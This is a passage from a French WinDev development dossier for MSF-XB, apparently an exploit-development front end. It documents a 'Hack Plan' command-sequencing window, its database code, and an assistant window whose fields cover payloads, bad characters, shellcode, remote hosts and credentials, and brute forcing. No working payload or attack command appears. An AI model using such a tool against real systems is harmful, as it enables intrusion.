Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable Oui

Page 396: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 400

Mémorise la taille OuiHistorique des saisies NonHistorique des sélections NongLienActive OuiValeur persistante Non

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : DESCENDRE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: DescendreGB: Move down

Ordre navigation 8Curseur survol 0On/Off Non

Altitude 12

Bulle d'aide FR: Descendre la ligne sélectionnéeGB: Move down the selected line

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\Btn_Next.gifNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gif

Page 397: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 401

Nb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : INSERER

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: InsérerGB: Insert

Ordre navigation 6Curseur survol 0On/Off Non

Altitude 10

Bulle d'aide FR: Insérer la commande après la ligne sélectionnéeGB: Insert the command after the selected line

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\Btn_Apply.gifNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6

Page 398: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 402

Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Libellé : LIB_Libellé1

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Variables globales: IPLAN, IPWANGB: Global variables: IPLAN, IPWAN

Curseur survol 0Synchro Infos Partagées Non

Altitude 5

Numéro aide 0

Opacité 100

Mode ellipse <Aucun>Unicode Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 399: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 403

Champ de saisie : MACOMMANDE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Commande:GB: Command:

Ordre navigation 2Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 6Retrait gauche 2Position X interne 234Largeur interne 257

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>

Page 400: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 404

Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : MONTER

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Monter l'ordreGB: Move up

Ordre navigation 7Curseur survol 0On/Off Non

Altitude 11

Bulle d'aide FR: Monter la ligne sélectionnéeGB: Move up the selected line

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\Btn_Forward.gifNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 401: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 405

Libellé : RADTitle

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: Hack PlanCurseur survol 0Synchro Infos Partagées Non

Altitude 1

Numéro aide 0

Opacité 100

Mode ellipse A la finUnicode Non

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : SCSystemButtons

Note pour le dossier

FR,GB: FR,GB: Ce superchamp est très utile pour les fenêtres sans barre de titre.

En effet, il simule les boutons système de la barre de titre d'une fenêtre : - Fermer - Agrandir/Restaurer - Iconiser

Ordre navigation 9

Altitude 2Largeur externe 128Hauteur externe 18

Numéro aide 0

Page 402: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 406

Valeur persistante Non

Fichier parcouru 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : SUPPRIMER

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: SupprimerGB: Delete

Ordre navigation 5Curseur survol 0On/Off Non

Altitude 9

Bulle d'aide FR: Supprimer la commande sélectionnéeGB: Delete the selected command line

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\Btn_Delete.gifNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Page 403: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 407

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Table : TABLE_Table1

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: TableGB:

Ordre navigation 1Curseur survol 0

Hauteur ligne max. 0Hauteur ligne 18Sens VerticalAltitude 4Retrait gauche 2

Numéro aide 0

Opacité 100Hauteur des lignes redimensionnable Non

Déplacement au pixel OuiAsc. horizontal AutomatiqueAsc. vertical OuiMode de sélection Sélection simpleAff. résultats Sans affichageSomme FR: Somme

GB: SumMoyenne FR: Moyenne

GB: AverageCompteur FR: Compteur

GB: CounterTitre multiligne Oui

Page 404: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 408

Menu ctx. colonne OuiMode menu ctx. <Aucun>

Nb. Enreg. Max 0Fichier parcouru 0

Ancrage Largeur et hauteurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : SCSystemButtonsBouton : SCSystemButtons.BTN_SYST_FERMER

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 1

Bulle d'aide FR,GB: FermerNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Close.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Close_Anim.gifNb. états fond 5Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Page 405: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 409

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : SCSystemButtons.BTN_SYST_MINIMIZE

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 3

Bulle d'aide FR,GB: RéduireNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Minimize.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Minimize_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 406: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 410

Bouton : SCSystemButtons.BTN_Syst_Maximize

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 2

Bulle d'aide FR,GB: AgrandirNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Maximise.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Maximize_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 407: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 411

Bouton : SCSystemButtons.BTN_UMC

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: &BoutonOrdre navigation 168Curseur survol 0On/Off Non

Altitude 4

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_UMC.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_UMC_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 408: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 412

Table : TABLE_Table1Colonne de table : TABLE_Table1.IDCOMMANDE (1)

Note pour le dossier

FR,GB: FR,GB:

Titre FR: IDCOMMANDEGB: Colonne1

Curseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: ¤MoneySystemMaskMode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 409: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 413

Colonne de table : TABLE_Table1.TORDRE (2)

Note pour le dossier

FR,GB: FR,GB:

Titre FR: ORDREGB: ORDER

Curseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: ¤9 999Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 410: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 414

Colonne de table : TABLE_Table1.TEXECUTION (3)

Note pour le dossier

FR,GB: FR,GB:

Titre FR,GB: EXECUTIONCurseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Colonne de table : TABLE_Table1.TCOMMANDE (4)

Note pour le dossier

FR,GB: FR,GB:

Titre FR: COMMANDEGB: COMMAND

Curseur survol 0Touche TAB Oui

Page 411: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 415

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Colonne de table : TABLE_Table1.TPARAMETRE (5)

Note pour le dossier

FR,GB: FR,GB:

Titre FR: PARAMETREGB: PARAMETERS

Curseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>

Page 412: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 416

Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 413: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 4

26/10/2008 417

HACK_PLAN Code

Initialisation de HACK_PLAN

TABLE_AFFICHE()

Page 414: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 418

HACK_PLAN Code des champs

Clic sur AJOUTER

HLitDernier(COMMANDE,ORDRE)SI H.EnDehors ALORS

COMMANDE.ORDRE=1SINON

COMMANDE.ORDRE=COMMANDE.ORDRE+1FINCOMMANDE.COMMANDE=MACOMMANDESI COMBO_EXECUTION=1 ALORS //A DISTANCE

COMMANDE.LIEU="REMOTE"SINON

COMMANDE.LIEU="LOCAL"FINHAjoute(COMMANDE)

Table_Affiche()

Clic sur DESCENDRESI TABLE_Table1..Vide ALORS RETOUR

HLitRecherche(COMMANDE,ORDRE,TORDRE+1)SI HTrouve ALORS

COMMANDE.ORDRE-=1HModifie(COMMANDE)

FINHLitRecherche(COMMANDE,IDCOMMANDE,IDCOMMANDE)SI HTrouve ALORS

COMMANDE.ORDRE+=1HModifie(COMMANDE)

FIN

Table_Affiche()

Clic sur INSERER

Page 415: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 419

HLitPremier(COMMANDE,ORDRE)TANTQUE PAS H.EnDehors

SI COMMANDE.ORDRE>TORDRE ALORS//On décale la commande dans le fichierCOMMANDE.ORDRE+=1HModifie(COMMANDE)

FINHLitSuivant(COMMANDE)

FIN

COMMANDE.ORDRE=TORDRE+1SI COMBO_EXECUTION=1 ALORS //A DISTANCE

COMMANDE.LIEU="REMOTE"SINON

COMMANDE.LIEU="LOCAL"FINCOMMANDE.COMMANDE=MACOMMANDEHAjoute(COMMANDE)

Table_Affiche()

Clic sur MONTERSI TABLE_Table1..Vide OU TORDRE=0 OU TORDRE=1 ALORS RETOUR

HLitRecherche(COMMANDE,ORDRE,TORDRE-1)SI HTrouve ALORS

COMMANDE.ORDRE+=1HModifie(COMMANDE)

FINHLitRecherche(COMMANDE,IDCOMMANDE,IDCOMMANDE)SI HTrouve ALORS

COMMANDE.ORDRE-=1HModifie(COMMANDE)

FIN

Table_Affiche()

Clic sur BTN_SYST_FERMER ( SCSystemButtons )

Clic sur BTN_Syst_Maximize ( SCSystemButtons )

Clic sur BTN_SYST_MINIMIZE ( SCSystemButtons )

Clic sur BTN_UMC ( SCSystemButtons )

Clic sur SUPPRIMERSI PAS TABLE_Table1..Vide ALORS

SI OuiNon("Are you sure to want to delete the line?") ALORSHLitRecherche(COMMANDE,IDCOMMANDE,idcommande)HSupprime(COMMANDE)

Table_Affiche()FIN

FIN

Sortie d'une ligne de TABLE_Table1HLitRecherche(COMMANDE,IDCOMMANDE,IDCOMMANDE)SI H.Trouve ALORS

COMMANDE.ORDRE=TORDRECOMMANDE.LIEU=TEXECUTIONCOMMANDE.COMMANDE=TCOMMANDECOMMANDE.PARAM1=TPARAMETRE

HModifie(COMMANDE)FIN

Page 416: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 421

HACK_PLAN Procédures

Procédure locale Table_Affiche// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://Table_Affiche ()//// Paramètres :// Aucun// Valeur de retour :// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE Table_Affiche()

TableSupprimeTout(TABLE_Table1)

HLitPremier(COMMANDE,ORDRE)TANTQUE PAS HEnDehors

SI COMMANDE.UTILISEE=1 ALORSTableAjoute(TABLE_Table1,COMMANDE.IDCOMMANDE+TAB+COMMANDE.ORDRE+TAB+COMMANDE.LIEU+TAB+COMMANDE.COMMANDE)

FINHLitSuivant(COMMANDE)

FIN

Page 417: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 422

MSFXB_Assistant Image

Page 418: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 423

MSFXB_Assistant Informations générales

MSFXB_Assistant

Fichier physique G:\Mes Projets\MSF-XB11\MSFXB_Assistant.wdw

Crée par JA

Date de création 24/09/2006 09:30:22

Dernière modification par JA-PSI

Date dernière modification 21/08/2008 17:42:53

TitreFR: MSF-XB Assistant - Jérôme ATHIAS - https://www.securinfos.infoGB: MSF-XB Assistant - Jerome Athias - https://www.securinfos.info

Type fenêtre Fenêtre libre

Mode ouverture Centrée par rapport à la mère

Note pour le dossier

FR,GB: FR,GB:

Position X 0 Position Y 0 Largeur 1024

Hauteur 768

Visible Barre de titre Menu systèmeIcone réduction Icone agrandissement Icone aide ctx.Barre de message Détourer le fond Mode 9 imagesRedimensionnable Avec grip Grip dans imageDéplace/fond Sauve position Ascenseur auto.Gestion grande police Menu look XP Thème XPCtx. HF indép.

Etat initial ActifClic droit

Page 419: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 424

Curseur survol 0Menu contextuel

Fichier aide ctx.

Opacité 100Type cadre <Aucun>Transparence Vista NonTransparence gérée par Vista Non

Valide auto. 0Bouton auto.Lib. + tps restant OuiGroupe MDIPos. X Menu 8Pos. Y Menu 26M.C.U. OuiAnim. Ouverture 2Anim. Fermeture 2Durée Anim. Ouverture 100Durée Anim. Fermeture 50Adapte Taille contenu NonAssombri quand inactif OuiDéplace souris sur bouton par défaut Non

Fichier parcouru 0Rub. parcourue

ImageImage fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Bg_Base.gifIcone G:\Mes Projets\MSF-XB11\VST01621-32-5.icoImage poignée G:\Mes Projets\MSF-XB11\MediaPlayer_Resize.gif

Page 420: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 425

Statistiques de la fenêtreChamp de saisie 49 Libellé 16

Bouton 50 Interrupteur 8

Sélecteur 1 Image 2

Table 3 Combo 17

Onglet 1 Superchamp 7

Option de menu 35 Colonne de table 12

Volet (Onglet) 5

Nombre d'éléments dans la fenêtre : 206

MSFXB_Assistant Informations sur les champs

Fenêtre : MSFXB_AssistantChamp de saisie

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type saisie Multi Form Mot Saisi Mise NUL Saisi Effac Fin Défil Défil Asc. Asc.

PAYLOAD_BADCHARS 340 516 485 22 0 Actif Texte

PAYLOAD_BADPHRASE 205 544 620 22 0 Actif Texte

RHOST 500 224 186 22 0 Actif Texte

RPASS 500 252 186 22 0 Actif Texte

RPORT 346 224 148 22 0 Actif Numériqu

RUSER 346 252 148 22 0 Actif Texte

SAI_ADRESSE 16 516 150 22 0 Actif Texte

SAI_APPLICATION 278 312 520 22 0 Actif Texte

SAI_ASCII1 28 260 89 22 0 Actif Numériqu

SAI_ASCII2 123 260 45 22 0 Actif Numériqu

SAI_ASM 16 266 751 22 0 Actif Texte

SAI_Analyse 16 322 751 162 0 Actif Texte

SAI_BANNIERE 278 340 520 24 0 Actif Texte

SAI_BANNIERE_HEX 26 396 772 154 0 Actif Texte

Page 421: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 426

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type saisie Multi Form Mot Saisi Mise NUL Saisi Effac Fin Défil Défil Asc. Asc.

SAI_BANNIERE_NMAP 278 368 520 24 0 Actif Texte

SAI_BadcharsDump 16 572 895 177 0 Actif Texte

SAI_CLSID 403 56 287 22 0 Actif Texte

SAI_Commande 96 30 825 22 0 Actif Texte

SAI_Commande_Nmap 16 368 261 22 0 Actif Texte

SAI_DLL 806 690 201 24 0 Actif Texte

SAI_DumpReg 16 490 751 255 0 Actif Texte

SAI_NICK 729 710 184 24 0 Actif Texte

SAI_OPCODE_LIST_PARAMETR 22 164 660 22 0 Actif Texte

SAI_Options 247 378 198 22 0 Actif Texte

SAI_PARAM_NAME 219 92 178 22 0 Actif Texte

SAI_PARAM_VALEUR 412 92 504 22 0 Actif Texte

SAI_PATTERN_CAR 91 346 45 22 0 Actif Texte

SAI_PATTERN_TAILLE 74 181 98 22 0 Actif Numériqu

SAI_PID 547 97 69 22 0 Actif Numériqu

SAI_PRE_PATTERN 216 146 697 22 0 Actif Texte

SAI_PROCESSUS 34 97 401 22 0 Actif Texte

SAI_PROCESSUS_SOCIETE 763 97 241 22 0 Actif Texte

SAI_PROCESSUS_VERSION 622 97 135 22 0 Actif Texte

SAI_ParamPayload 581 378 423 22 0 Actif Texte

SAI_ProgID 704 56 306 22 0 Actif Texte

SAI_REGISTRES 16 86 751 162 0 Actif Texte

SAI_SPACE 205 516 95 22 0 Actif Numériqu

SAI_SizeDump 16 657 99 22 0 Actif Numériqu

LibelléPosition Position Largeur Hauteur Plan Visib Etat initial Cadrage horz. Cadrage vert. Form Anim

LIB_BUFFER 448 116 100 20 0 Grisé Gauche Haut

LIB_CommentPayload 269 759 733 20 0 Actif Gauche Haut

LIB_Curseur 924 264 80 20 0 Actif Gauche Haut

LIB_INT3 66 581 100 20 0 Actif Gauche Haut

LIB_Libellé1 29 90 286 20 0 Actif Gauche Haut

LIB_Payload 16 440 68 20 0 Actif Gauche Haut

LIB_Selection 924 290 80 20 0 Actif Gauche Haut

LIB_Shellcode 16 137 100 20 0 Actif Gauche Haut

LIB_SizePayload 99 759 164 20 0 Actif Gauche Haut

LIB_Taille_Pattern 924 357 80 20 0 Actif Gauche Haut

LIB_Taille_Pattern2 924 383 80 20 0 Actif Gauche Haut

LIB_Taille_Pattern3 924 409 80 20 0 Actif Gauche Haut

LIB_Taille_Pattern4 924 435 80 20 0 Actif Gauche Haut

LIB_Taille_Pattern5 924 461 80 20 0 Actif Gauche Haut

Page 422: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 427

Position Position Largeur Hauteur Plan Visib Etat initial Cadrage horz. Cadrage vert. Form Anim

LIB_Taille_Pattern6 924 487 80 20 0 Actif Gauche Haut

RADTitle 9 1 875 18 0 Actif Gauche Centre

BoutonPosition Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_ASCII 28 288 20 24 0 Actif Normal

BTN_Bouton1 692 282 80 24 0 Actif Normal

BTN_Bouton2 441 97 20 24 0 Actif Normal

BTN_Bouton3 133 120 80 24 0 Actif Normal

BTN_BruteForce 831 542 80 24 0 Actif Normal

BTN_Button1 -16 -57 80 24 0 Actif Aide

BTN_CALC 306 516 20 24 0 Actif Normal

BTN_CALCULER_SPACE 172 514 27 24 0 Actif Normal

BTN_CONVERT 178 383 27 24 0 Actif Normal

BTN_DumpReg 121 657 80 24 0 Actif Normal

BTN_EXECUTE_PROCESS 467 97 20 24 0 Actif Normal

BTN_ExecuteCommande 930 28 80 24 0 Actif Validati

BTN_GENERER_ASCII 178 260 27 24 0 Actif Normal

BTN_GENERER_ASCII1 88 299 117 24 0 Actif Normal

BTN_GENERER_PATTERN 178 181 27 24 0 Actif Normal

BTN_GENERER_PATTERN1 178 346 27 24 0 Actif Normal

BTN_GENERER_PATTERN2 203 378 27 24 0 Actif Normal

BTN_GenererPayload 927 407 80 24 0 Actif Normal

BTN_LISTER_OPCODES 692 136 80 24 0 Actif Normal

BTN_LOAD_DLL 947 720 54 24 0 Actif Normal

BTN_MEMDUMP 93 134 80 24 0 Actif Normal

BTN_OUVRE_EXPLORER 493 97 20 24 0 Actif Normal

BTN_PACK 179 134 49 24 0 Actif Normal

BTN_PLUS_PATTERN 142 346 27 24 0 Actif Normal

BTN_RECHERCHE_PID 519 97 20 24 0 Actif Normal

BTN_TEST 831 495 80 24 0 Actif Normal

BTN_TROUVE_BANNIERE 181 338 80 24 0 Actif Normal

BTN_TROUVE_COMMANDES 22 120 55 24 0 Actif Normal

BTN_UNLOAD_DLL 881 720 54 24 0 Actif Normal

BTN_VoirShellcode 927 101 80 24 0 Actif Normal

DEBUGGER 10 28 80 24 0 Actif Normal

GO 922 710 80 24 0 Actif Normal

Page 423: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 428

InterrupteurPosition Position Largeur Hauteur Plan Visib Etat initial Touc Nb. colonnes Col. Trois

CBOX_Trace 927 86 77 24 0 Actif 1

